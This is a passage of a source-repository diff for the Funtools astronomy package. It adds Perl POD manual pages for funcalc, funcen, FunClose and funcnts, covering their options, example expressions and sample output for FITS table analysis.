if( fbuf[i] <= blimit ) fbuf[i] = bvalue;
|
||||
break;
|
||||
case -64:
|
||||
if( dbuf[i] <= blimit ) dbuf[i] = bvalue;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* write the output image, updating the FITS header from the orig file */
|
||||
if( !FunImagePut(fun2, buf, 0, 0, 0, NULL) )
|
||||
gerror(stderr, "could not FunImagePut: %s\n", argv[2]);
|
||||
|
||||
/* free up space */
|
||||
if( buf ) free(buf);
|
||||
|
||||
/* close output first so that flush happens automatically */
|
||||
FunClose(fun2);
|
||||
FunClose(fun);
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,572 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funcalc - Funtools calculator (for binary tables)>
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funcalc [-n] [-a argstr] [-e expr] [-f file] [-l link] [-p prog] <iname> [oname [columns]]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-a argstr # user arguments to pass to the compiled program
|
||||
-e expr # funcalc expression
|
||||
-f file # file containing funcalc expression
|
||||
-l libs # libs to add to link command
|
||||
-n # output generated code instead of compiling and executing
|
||||
-p prog # generate named program, no execution
|
||||
-u # die if any variable is undeclared (don't auto-declare)
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funcalc> is a calculator program that allows arbitrary
|
||||
expressions to be constructed, compiled, and executed on columns in a
|
||||
Funtools table (FITS binary table or raw event file). It works by
|
||||
integrating user-supplied expression(s) into a template C program,
|
||||
then compiling and executing the program. B<funcalc> expressions
|
||||
are C statements, although some important simplifications (such
|
||||
as automatic declaration of variables) are supported.
|
||||
|
||||
|
||||
B<funcalc> expressions can be specified in three ways: on the
|
||||
command line using the B<-e [expression]> switch, in a file using
|
||||
the B<-f [file]> switch, or from stdin (if neither B<-e> nor
|
||||
B<-f> is specified). Of course a file containing B<funcalc>
|
||||
expressions can be read from stdin.
|
||||
|
||||
|
||||
Each invocation of B<funcalc> requires an input Funtools table
|
||||
file to be specified as the first command line argument. The output
|
||||
Funtools table file is the second optional argument. It is needed only
|
||||
if an output FITS file is being created (i.e., in cases where the
|
||||
B<funcalc> expression only prints values, no output file is
|
||||
needed). If input and output file are both specified, a third optional
|
||||
argument can specify the list of columns to activate (using
|
||||
FunColumnActivate()). Note
|
||||
that B<funcalc> determines whether or not to generate code for
|
||||
writing an output file based on the presence or absence of an
|
||||
output file argument.
|
||||
|
||||
|
||||
A B<funcalc> expression executes on each row of a table and
|
||||
consists of one or more C statements that operate on the columns of
|
||||
that row (possibly using temporary variables). Within an expression,
|
||||
reference is made to a column of the B<current> row using the C
|
||||
struct syntax B<cur->[colname]>, e.g. cur->x, cur->pha, etc.
|
||||
Local scalar variables can be defined using C declarations at very the
|
||||
beginning of the expression, or else they can be defined automatically
|
||||
by B<funcalc> (to be of type double). Thus, for example, a swap of
|
||||
columns x and y in a table can be performed using either of the
|
||||
following equivalent B<funcalc> expressions:
|
||||
|
||||
|
||||
double temp;
|
||||
temp = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = temp;
|
||||
|
||||
|
||||
or:
|
||||
|
||||
|
||||
temp = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = temp;
|
||||
|
||||
|
||||
When this expression is executed using a command such as:
|
||||
|
||||
funcalc -f swap.expr itest.ev otest.ev
|
||||
|
||||
the resulting file will have values of the x and y columns swapped.
|
||||
|
||||
|
||||
By default, the data type of the variable for a column is the same as
|
||||
the data type of the column as stored in the file. This can be changed
|
||||
by appending ":[dtype]" to the first reference to that column. In the
|
||||
example above, to force x and y to be output as doubles, specify the
|
||||
type 'D' explicitly:
|
||||
|
||||
temp = cur->x:D;
|
||||
cur->x = cur->y:D;
|
||||
cur->y = temp;
|
||||
|
||||
|
||||
Data type specifiers follow standard FITS table syntax for defining
|
||||
columns using TFORM:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
A: ASCII characters
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B: unsigned 8-bit char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
I: signed 16-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
U: unsigned 16-bit int (not standard FITS)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
J: signed 32-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
V: unsigned 32-bit int (not standard FITS)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
E: 32-bit float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
D: 64-bit float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
X: bits (treated as an array of chars)
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
Note that only the first reference to a column should contain the
|
||||
explicit data type specifier.
|
||||
|
||||
|
||||
Of course, it is important to handle the data type of the columns
|
||||
correctly. One of the most frequent cause of error in B<funcalc>
|
||||
programming is the implicit use of the wrong data type for a column in
|
||||
expression. For example, the calculation:
|
||||
|
||||
dx = (cur->x - cur->y)/(cur->x + cur->y);
|
||||
|
||||
usually needs to be performed using floating point arithmetic. In
|
||||
cases where the x and y columns are integers, this can be done by
|
||||
reading the columns as doubles using an explicit type specification:
|
||||
|
||||
dx = (cur->x:D - cur->y:D)/(cur->x + cur->y);
|
||||
|
||||
|
||||
Alternatively, it can be done using C type-casting in the expression:
|
||||
|
||||
dx = ((double)cur->x - (double)cur->y)/((double)cur->x + (double)cur->y);
|
||||
|
||||
|
||||
|
||||
In addition to accessing columns in the current row, reference also
|
||||
can be made to the B<previous> row using B<prev->[colname]>,
|
||||
and to the B<next> row using B<next->[colname]>. Note that if
|
||||
B<prev->[colname]> is specified in the B<funcalc>
|
||||
expression, the very first row is not processed. If
|
||||
B<next->[colname]> is specified in the B<funcalc>
|
||||
expression, the very last row is not processed. In this way,
|
||||
B<prev> and B<next> are guaranteed always to point to valid
|
||||
rows. For example, to print out the values of the current x column
|
||||
and the previous y column, use the C fprintf function in a
|
||||
B<funcalc> expression:
|
||||
|
||||
fprintf(stdout, "%d %d\n", cur->x, prev->y);
|
||||
|
||||
|
||||
|
||||
New columns can be specified using the same B<cur->[colname]>
|
||||
syntax by appending the column type (and optional tlmin/tlmax/binsiz
|
||||
specifiers), separated by colons. For example, cur->avg:D will define
|
||||
a new column of type double. Type specifiers are the same those
|
||||
used above to specify new data types for existing columns.
|
||||
|
||||
|
||||
For example, to create and output a new column that is the average value of the
|
||||
x and y columns, a new "avg" column can be defined:
|
||||
|
||||
cur->avg:D = (cur->x + cur->y)/2.0
|
||||
|
||||
Note that the final ';' is not required for single-line expressions.
|
||||
|
||||
|
||||
As with FITS TFORM data type specification, the column data type
|
||||
specifier can be preceded by a numeric count to define an array, e.g.,
|
||||
"10I" means a vector of 10 short ints, "2E" means two single precision
|
||||
floats, etc. A new column only needs to be defined once in a
|
||||
B<funcalc> expression, after which it can be used without
|
||||
re-specifying the type. This includes reference to elements of a
|
||||
column array:
|
||||
|
||||
|
||||
cur->avg[0]:2D = (cur->x + cur->y)/2.0;
|
||||
cur->avg[1] = (cur->x - cur->y)/2.0;
|
||||
|
||||
|
||||
|
||||
The 'X' (bits) data type is treated as a char array of dimension
|
||||
(numeric_count/8), i.e., 16X is processed as a 2-byte char array. Each
|
||||
8-bit array element is accessed separately:
|
||||
|
||||
cur->stat[0]:16X = 1;
|
||||
cur->stat[1] = 2;
|
||||
|
||||
Here, a 16-bit column is created with the MSB is set to 1 and the LSB set to 2.
|
||||
|
||||
|
||||
By default, all processed rows are written to the specified output
|
||||
file. If you want to skip writing certain rows, simply execute the C
|
||||
"continue" statement at the end of the B<funcalc> expression,
|
||||
since the writing of the row is performed immediately after the
|
||||
expression is executed. For example, to skip writing rows whose
|
||||
average is the same as the current x value:
|
||||
|
||||
|
||||
cur->avg[0]:2D = (cur->x + cur->y)/2.0;
|
||||
cur->avg[1] = (cur->x - cur->y)/2.0;
|
||||
if( cur->avg[0] == cur->x )
|
||||
continue;
|
||||
|
||||
|
||||
|
||||
If no output file argument is specified on the B<funcalc> command
|
||||
line, no output file is opened and no rows are written. This is useful
|
||||
in expressions that simply print output results instead of generating
|
||||
a new file:
|
||||
|
||||
fpv = (cur->av3:D-cur->av1:D)/(cur->av1+cur->av2:D+cur->av3);
|
||||
fbv = cur->av2/(cur->av1+cur->av2+cur->av3);
|
||||
fpu = ((double)cur->au3-cur->au1)/((double)cur->au1+cur->au2+cur->au3);
|
||||
fbu = cur->au2/(double)(cur->au1+cur->au2+cur->au3);
|
||||
fprintf(stdout, "%f\t%f\t%f\t%f\n", fpv, fbv, fpu, fbu);
|
||||
|
||||
In the above example, we use both explicit type specification
|
||||
(for "av" columns) and type casting (for "au" columns) to ensure that
|
||||
all operations are performed in double precision.
|
||||
|
||||
|
||||
When an output file is specified, the selected input table is
|
||||
processed and output rows are copied to the output file. Note that
|
||||
the output file can be specified as "stdout" in order to write the
|
||||
output rows to the standard output. If the output file argument is
|
||||
passed, an optional third argument also can be passed to specify which
|
||||
columns to process.
|
||||
|
||||
|
||||
In a FITS binary table, it sometimes is desirable to copy all of the
|
||||
other FITS extensions to the output file as well. This can be done by
|
||||
appending a '+' sign to the name of the extension in the input file
|
||||
name. See B<funtable> for a related example.
|
||||
|
||||
|
||||
B<funcalc> works by integrating the user-specified expression
|
||||
into a template C program called tabcalc.c.
|
||||
The completed program then is compiled and executed. Variable
|
||||
declarations that begin the B<funcalc> expression are placed in
|
||||
the local declaration section of the template main program. All other
|
||||
lines are placed in the template main program's inner processing
|
||||
loop. Other details of program generation are handled
|
||||
automatically. For example, column specifiers are analyzed to build a
|
||||
C struct for processing rows, which is passed to
|
||||
FunColumnSelect() and used
|
||||
in FunTableRowGet(). If
|
||||
an unknown variable is used in the expression, resulting in a
|
||||
compilation error, the program build is retried after defining the
|
||||
unknown variable to be of type double.
|
||||
|
||||
|
||||
Normally, B<funcalc> expression code is added to
|
||||
B<funcalc> row processing loop. It is possible to add code
|
||||
to other parts of the program by placing this code inside
|
||||
special directives of the form:
|
||||
|
||||
[directive name]
|
||||
... code goes here ...
|
||||
end
|
||||
|
||||
|
||||
The directives are:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<global> add code and declarations in global space, before the main routine.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<local> add declarations (and code) just after the local declarations in
|
||||
main
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<before> add code just before entering the main row processing loop
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<after> add code just after exiting the main row processing loop
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
Thus, the following B<funcalc> expression will declare global
|
||||
variables and make subroutine calls just before and just after the
|
||||
main processing loop:
|
||||
|
||||
global
|
||||
double v1, v2;
|
||||
double init(void);
|
||||
double finish(double v);
|
||||
end
|
||||
before
|
||||
v1 = init();
|
||||
end
|
||||
... process rows, with calculations using v1 ...
|
||||
after
|
||||
v2 = finish(v1);
|
||||
if( v2 < 0.0 ){
|
||||
fprintf(stderr, "processing failed %g -> %g\n", v1, v2);
|
||||
exit(1);
|
||||
}
|
||||
end
|
||||
|
||||
Routines such as init() and finish() above are passed to the generated
|
||||
program for linking using the B<-l [link directives ...]>
|
||||
switch. The string specified by this switch will be added to the link
|
||||
line used to build the program (before the funtools library). For
|
||||
example, assuming that init() and finish() are in the library
|
||||
libmysubs.a in the /opt/special/lib directory, use:
|
||||
|
||||
funcalc -l "-L/opt/special/lib -lmysubs" ...
|
||||
|
||||
|
||||
|
||||
User arguments can be passed to a compiled funcalc program using a string
|
||||
argument to the "-a" switch. The string should contain all of the
|
||||
user arguments. For example, to pass the integers 1 and 2, use:
|
||||
|
||||
funcalc -a "1 2" ...
|
||||
|
||||
The arguments are stored in an internal array and are accessed as
|
||||
strings via the ARGV(n) macro. For example, consider the following
|
||||
expression:
|
||||
|
||||
local
|
||||
int pmin, pmax;
|
||||
end
|
||||
|
||||
before
|
||||
pmin=atoi(ARGV(0));
|
||||
pmax=atoi(ARGV(1));
|
||||
end
|
||||
|
||||
if( (cur->pha >= pmin) && (cur->pha <= pmax) )
|
||||
fprintf(stderr, "%d %d %d\n", cur->x, cur->y, cur->pha);
|
||||
|
||||
This expression will print out x, y, and pha values for all rows in which
|
||||
the pha value is between the two user-input values:
|
||||
|
||||
funcalc -a '1 12' -f foo snr.ev'[cir 512 512 .1]'
|
||||
512 512 6
|
||||
512 512 8
|
||||
512 512 5
|
||||
512 512 5
|
||||
512 512 8
|
||||
|
||||
funcalc -a '5 6' -f foo snr.ev'[cir 512 512 .1]'
|
||||
512 512 6
|
||||
512 512 5
|
||||
512 512 5
|
||||
|
||||
|
||||
|
||||
Note that it is the user's responsibility to ensure that the correct
|
||||
number of arguments are passed. The ARGV(n) macro returns a NULL if a
|
||||
requested argument is outside the limits of the actual number of args,
|
||||
usually resulting in a SEGV if processed blindly. To check the
|
||||
argument count, use the ARGC macro:
|
||||
|
||||
local
|
||||
long int seed=1;
|
||||
double limit=0.8;
|
||||
end
|
||||
|
||||
before
|
||||
if( ARGC >= 1 ) seed = atol(ARGV(0));
|
||||
if( ARGC >= 2 ) limit = atof(ARGV(1));
|
||||
srand48(seed);
|
||||
end
|
||||
|
||||
if ( drand48() > limit ) continue;
|
||||
|
||||
|
||||
|
||||
The macro WRITE_ROW expands to the FunTableRowPut() call that writes
|
||||
the current row. It can be used to write the row more than once. In
|
||||
addition, the macro NROW expands to the row number currently being
|
||||
processed. Use of these two macros is shown in the following example:
|
||||
|
||||
if( cur->pha:I == cur->pi:I ) continue;
|
||||
a = cur->pha;
|
||||
cur->pha = cur->pi;
|
||||
cur->pi = a;
|
||||
cur->AVG:E = (cur->pha+cur->pi)/2.0;
|
||||
cur->NR:I = NROW;
|
||||
if( NROW < 10 ) WRITE_ROW;
|
||||
|
||||
|
||||
|
||||
If the B<-p [prog]> switch is specified, the expression is not
|
||||
executed. Rather, the generated executable is saved with the specified
|
||||
program name for later use.
|
||||
|
||||
|
||||
If the B<-n> switch is specified, the expression is not
|
||||
executed. Rather, the generated code is written to stdout. This is
|
||||
especially useful if you want to generate a skeleton file and add your
|
||||
own code, or if you need to check compilation errors. Note that the
|
||||
comment at the start of the output gives the compiler command needed
|
||||
to build the program on that platform. (The command can change from
|
||||
platform to platform because of the use of different libraries,
|
||||
compiler switches, etc.)
|
||||
|
||||
|
||||
As mentioned previously, B<funcalc> will declare a scalar
|
||||
variable automatically (as a double) if that variable has been used
|
||||
but not declared. This facility is implemented using a sed script
|
||||
named funcalc.sed, which processes the
|
||||
compiler output to sense an undeclared variable error. This script
|
||||
has been seeded with the appropriate error information for gcc, and for
|
||||
cc on Solaris, DecAlpha, and SGI platforms. If you find that automatic
|
||||
declaration of scalars is not working on your platform, check this sed
|
||||
script; it might be necessary to add to or edit some of the error
|
||||
messages it senses.
|
||||
|
||||
|
||||
In order to keep the lexical analysis of B<funcalc> expressions
|
||||
(reasonably) simple, we chose to accept some limitations on how
|
||||
accurately C comments, spaces, and new-lines are placed in the
|
||||
generated program. In particular, comments associated with local
|
||||
variables declared at the beginning of an expression (i.e., not in a
|
||||
B<local...end> block) will usually end up in the inner loop, not
|
||||
with the local declarations:
|
||||
|
||||
/* this comment will end up in the wrong place (i.e, inner loop) */
|
||||
double a; /* also in wrong place */
|
||||
/* this will be in the the right place (inner loop) */
|
||||
if( cur->x:D == cur->y:D ) continue; /* also in right place */
|
||||
a = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = a;
|
||||
cur->avg:E = (cur->x+cur->y)/2.0;
|
||||
|
||||
Similarly, spaces and new-lines sometimes are omitted or added in a
|
||||
seemingly arbitrary manner. Of course, none of these stylistic
|
||||
blemishes affect the correctness of the generated code.
|
||||
|
||||
|
||||
Because B<funcalc> must analyze the user expression using the data
|
||||
file(s) passed on the command line, the input file(s) must be opened
|
||||
and read twice: once during program generation and once during
|
||||
execution. As a result, it is not possible to use stdin for the
|
||||
input file: B<funcalc> cannot be used as a filter. We will
|
||||
consider removing this restriction at a later time.
|
||||
|
||||
|
||||
Along with C comments, B<funcalc> expressions can have one-line
|
||||
internal comments that are not passed on to the generated C
|
||||
program. These internal comment start with the B<#> character and
|
||||
continue up to the new-line:
|
||||
|
||||
double a; # this is not passed to the generated C file
|
||||
# nor is this
|
||||
a = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = a;
|
||||
/* this comment is passed to the C file */
|
||||
cur->avg:E = (cur->x+cur->y)/2.0;
|
||||
|
||||
|
||||
|
||||
As previously mentioned, input columns normally are identified by
|
||||
their being used within the inner event loop. There are rare cases
|
||||
where you might want to read a column and process it outside the main
|
||||
loop. For example, qsort might use a column in its sort comparison
|
||||
routine that is not processed inside the inner loop (and therefore not
|
||||
implicitly specified as a column to be read). To ensure that such a
|
||||
column is read by the event loop, use the B<explicit> keyword.
|
||||
The arguments to this keyword specify columns that should be read into
|
||||
the input record structure even though they are not mentioned in the
|
||||
inner loop. For example:
|
||||
|
||||
explicit pi pha
|
||||
|
||||
will ensure that the pi and pha columns are read for each row,
|
||||
even if they are not processed in the inner event loop. The B<explicit>
|
||||
statement can be placed anywhere.
|
||||
|
||||
|
||||
Finally, note that B<funcalc> currently works on expressions
|
||||
involving FITS binary tables and raw event files. We will consider
|
||||
adding support for image expressions at a later point, if there is
|
||||
demand for such support from the community.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,145 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funcen - find centroid (for binary tables)>
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funcen [-i] [-n iter] [-t tol] [-v lev] <iname> <region>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-i # use image filtering (default: event filtering)
|
||||
-n iter # max number of iterations (default: 0)
|
||||
-t tol # pixel tolerance distance (default: 1.0)
|
||||
-v [0,1,2,3] # output verbosity level (default: 0)
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funcen> iteratively calculates the centroid position within one
|
||||
or more regions of a Funtools table (FITS binary table or raw event
|
||||
file). Starting with an input table, an initial region specification,
|
||||
and an iteration count, the program calculates the average x and y
|
||||
position within the region and then uses this new position as the
|
||||
region center for the next iteration. Iteration terminates when the
|
||||
maximum number of iterations is reached or when the input tolerance
|
||||
distance is met for that region. A count of events in the final region
|
||||
is then output, along with the pixel position value (and, where
|
||||
available, WCS position).
|
||||
|
||||
|
||||
The first argument to the program specifies the Funtools table file to
|
||||
process. Since the file must be read repeatedly, a value of "stdin"
|
||||
is not permitted when the number of iterations is non-zero. Use
|
||||
Funtools Bracket Notation to specify FITS
|
||||
extensions and filters.
|
||||
|
||||
|
||||
The second required argument is the initial region descriptor. Multiple
|
||||
regions are permitted. However, compound regions (accelerators,
|
||||
variable argument regions and regions connected via boolean algebra)
|
||||
are not permitted. Points and polygons also are illegal. These
|
||||
restrictions might be lifted in a future version, if warranted.
|
||||
|
||||
|
||||
The B<-n> (iteration number) switch specifies the maximum number of
|
||||
iterations to perform. The default is 0, which means that the program will
|
||||
simply count and display the number of events in the initial region(s).
|
||||
Note that when iterations is 0, the data can be input via stdin.
|
||||
|
||||
|
||||
The B<-t> (tolerance) switch specifies a floating point tolerance
|
||||
value. If the distance between the current centroid position value and
|
||||
the last position values is less than this value, iteration terminates.
|
||||
The default value is 1 pixel.
|
||||
|
||||
|
||||
The B<-v> (verbosity) switch specifies the verbosity level of the
|
||||
output. The default is 0, which results in a single line of output for
|
||||
each input region consisting of the following values:
|
||||
|
||||
counts x y [ra dec coordsys]
|
||||
|
||||
The last 3 WCS values are output if WCS information is available in the
|
||||
data file header. Thus, for example:
|
||||
|
||||
[sh] funcen -n 0 snr.ev "cir 505 508 5"
|
||||
915 505.00 508.00 345.284038 58.870920 j2000
|
||||
|
||||
[sh] funcen -n 3 snr.ev "cir 505 508 5"
|
||||
1120 504.43 509.65 345.286480 58.874587 j2000
|
||||
|
||||
The first example simply counts the number of events in the initial region.
|
||||
The second example iterates the centroid calculation three times to determine
|
||||
a final "best" position.
|
||||
|
||||
|
||||
Higher levels of verbosity obviously imply more verbose output. At
|
||||
level 1, the output essentially contains the same information as level
|
||||
0, but with keyword formatting:
|
||||
|
||||
[sh] funcen -v 1 -n 3 snr.ev "cir 505 508 5"
|
||||
event_file: snr.ev
|
||||
initial_region: cir 505 508 5
|
||||
tolerance: 1.0000
|
||||
iterations: 1
|
||||
|
||||
events: 1120
|
||||
x,y(physical): 504.43 509.65
|
||||
ra,dec(j2000): 345.286480 58.874587
|
||||
final_region1: cir 504.43 509.65 5
|
||||
|
||||
Level 2 outputs results from intermediate calculations as well.
|
||||
|
||||
|
||||
Ordinarily, region filtering is performed using analytic (event)
|
||||
filtering, i.e. that same style of filtering as is performed by
|
||||
B<fundisp> and B<funtable>. Use the B<-i> switch to specify image
|
||||
filtering, i.e. the same style filtering as is performed by B<funcnts>.
|
||||
Thus, you can perform a quick calculation of counts in regions, using
|
||||
either the analytic or image filtering method, by specifying the
|
||||
B<-n 0> and optional B<-i> switches. These two method often
|
||||
give different results because of how boundary events are processed:
|
||||
|
||||
[sh] funcen snr.ev "cir 505 508 5"
|
||||
915 505.00 508.00 345.284038 58.870920 j2000
|
||||
|
||||
[sh] funcen -i snr.ev "cir 505 508 5"
|
||||
798 505.00 508.00 345.284038 58.870920 j2000
|
||||
|
||||
See Region Boundaries for more information
|
||||
about how boundaries are calculated using these two methods.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,53 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunClose - close a Funtools data file>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void FunClose(Fun fun)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunClose()> routine closes a previously-opened Funtools data
|
||||
file, freeing control structures. If a
|
||||
Funtools reference handle
|
||||
was passed to
|
||||
the FunOpen() call for this file,
|
||||
and if copy mode also was specified for that file, then
|
||||
FunClose() also will copy the
|
||||
remaining extensions from the input file to the output file (if the
|
||||
input file still is open). Thus, we recommend always closing the
|
||||
output Funtools file B<before> the input file. (Alternatively,
|
||||
you can call FunFlush()
|
||||
explicitly).
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,657 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funcnts - count photons in specified regions, with bkgd subtraction>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funcnts [switches] <source_file> [source_region] [bkgd_file] [bkgd_region|bkgd_value]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-e "source_exposure[;bkgd_exposure]"
|
||||
# source (bkgd) FITS exposure image using matching files
|
||||
-w "source_exposure[;bkgd_exposure]"
|
||||
# source (bkgd) FITS exposure image using WCS transform
|
||||
-t "source_timecorr[;bkgd_timecorr]"
|
||||
# source (bkgd) time correction value or header parameter name
|
||||
-g # output using nice g format
|
||||
-G # output using %.14g format (maximum precision)
|
||||
-i "[column;]int1;int2..." # column-based intervals
|
||||
-m # match individual source and bkgd regions
|
||||
-p # output in pixels, even if wcs is present
|
||||
-r # output inner/outer radii (and angles) for annuli (and pandas)
|
||||
-s # output summed values
|
||||
-v "scol[;bcol]" # src and bkgd value columns for tables
|
||||
-T # output in starbase/rdb format
|
||||
-z # output regions with zero area
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funcnts> counts photons in the specified source regions and
|
||||
reports the results for each region. Regions are specified using the
|
||||
Spatial Region Filtering mechanism.
|
||||
Photons are also counted in the specified bkgd regions applied to the
|
||||
same data file or a different data file. (Alternatively, a constant
|
||||
background value in counts/pixel**2 can be specified.) The bkgd regions
|
||||
are either paired one-to-one with source regions or pooled and
|
||||
normalized by area, and then subtracted from the source counts in each
|
||||
region. Displayed results include the bkgd-subtracted counts in each
|
||||
region, as well as the error on the counts, the area in
|
||||
each region, and the surface brightness (cnts/area**2) calculated for
|
||||
each region.
|
||||
|
||||
|
||||
The first argument to the program specifies the FITS input image, array, or
|
||||
raw event file to process. If "stdin" is specified, data are read from
|
||||
the standard input. Use Funtools Bracket
|
||||
Notation to specify FITS extensions, image sections, and filters.
|
||||
|
||||
|
||||
The optional second argument is the source region descriptor. If no
|
||||
region is specified, the entire field is used.
|
||||
|
||||
|
||||
The background arguments can take one of two forms, depending on
|
||||
whether a separate background file is specified. If the source
|
||||
file is to be used for background as well, the third argument can be
|
||||
either the background region, or a constant value denoting background
|
||||
cnts/pixel. Alternatively, the third argument can be a background
|
||||
data file, in which case the fourth argument is the background region.
|
||||
If no third argument is specified, a constant value of 0 is used
|
||||
(i.e., no background).
|
||||
|
||||
|
||||
In summary, the following command arguments are valid:
|
||||
|
||||
[sh] funcnts sfile # counts in source file
|
||||
[sh] funcnts sfile sregion # counts in source region
|
||||
[sh] funcnts sfile sregion bregion # bkgd reg. is from source file
|
||||
[sh] funcnts sfile sregion bvalue # bkgd reg. is constant
|
||||
[sh] funcnts sfile sregion bfile bregion # bkgd reg. is from separate file
|
||||
|
||||
|
||||
|
||||
NB: unlike other Funtools programs, source and background regions are
|
||||
specified as separate arguments on the command line, rather than being
|
||||
placed inside brackets as part of the source and background filenames.
|
||||
This is because regions in funcnts are not simply used as data
|
||||
filters, but also are used to calculate areas, exposure, etc. If you
|
||||
put the source region inside the brackets (i.e. use it simply as a
|
||||
filter) rather than specifying it as argument two, the program still
|
||||
will only count photons that pass the region filter. However, the area
|
||||
calculation will be performed on the whole field, since field() is the
|
||||
default source region. This rarely is the desired behavior. On the
|
||||
other hand, with FITS binary tables, it often is useful to put a column
|
||||
filter in the filename brackets, so that only events matching the
|
||||
column filter are counted inside the region.
|
||||
|
||||
|
||||
For example, to extract the counts within a radius of 22 pixels from the
|
||||
center of the FITS binary table snr.ev and subtract the background determined
|
||||
from the same image within an annulus of radii 50-100 pixels:
|
||||
|
||||
[sh] funcnts snr.ev "circle(502,512,22)" "annulus(502,512,50,100)"
|
||||
# source
|
||||
# data file: snr.ev
|
||||
# degrees/pix: 0.00222222
|
||||
# background
|
||||
# data file: snr.ev
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
|
||||
# background-subtracted results
|
||||
reg net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 3826.403 66.465 555.597 5.972 96831.98 0.040 0.001
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source region(s)
|
||||
----------------
|
||||
circle(502,512,22)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
1 4382.000 1513
|
||||
|
||||
background region(s)
|
||||
--------------------
|
||||
annulus(502,512,50,100)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
all 8656.000 23572
|
||||
|
||||
The area units for the output columns labeled "area", "surf_bri"
|
||||
(surface brightness) and "surf_err" will be given either in
|
||||
arc-seconds (if appropriate WCS information is in the data file
|
||||
header(s)) or in pixels. If the data file has WCS info, but you do not
|
||||
want arc-second units, use the B<-p> switch to force output in
|
||||
pixels. Also, regions having zero area are not normally included in
|
||||
the primary (background-subtracted) table, but are included in the
|
||||
secondary source and bkgd tables. If you want these regions to be
|
||||
included in the primary table, use the B<-z> switch.
|
||||
|
||||
|
||||
Note that a simple sed command will extract the background-subtracted results
|
||||
for further analysis:
|
||||
|
||||
[sh] cat funcnts.sed
|
||||
1,/---- .*/d
|
||||
/^$/,$d
|
||||
|
||||
[sh] sed -f funcnts.sed funcnts.out
|
||||
1 3826.403 66.465 555.597 5.972 96831.98 0.040 0.001
|
||||
|
||||
|
||||
|
||||
If separate source and background files are specified, B<funcnts> will
|
||||
attempt to normalize the the background area so that the background
|
||||
pixel size is the same as the source pixel size. This normalization
|
||||
can only take place if the appropriate WCS information is contained in
|
||||
both files (e.g. degrees/pixel values in CDELT). If either
|
||||
file does not contain the requisite size information, the normalization
|
||||
is not performed. In this case, it is the user's responsibility to
|
||||
ensure that the pixel sizes are the same for the two files.
|
||||
|
||||
|
||||
Normally, if more than one background region is specified, B<funcnts>
|
||||
will combine them all into a single region and use this background
|
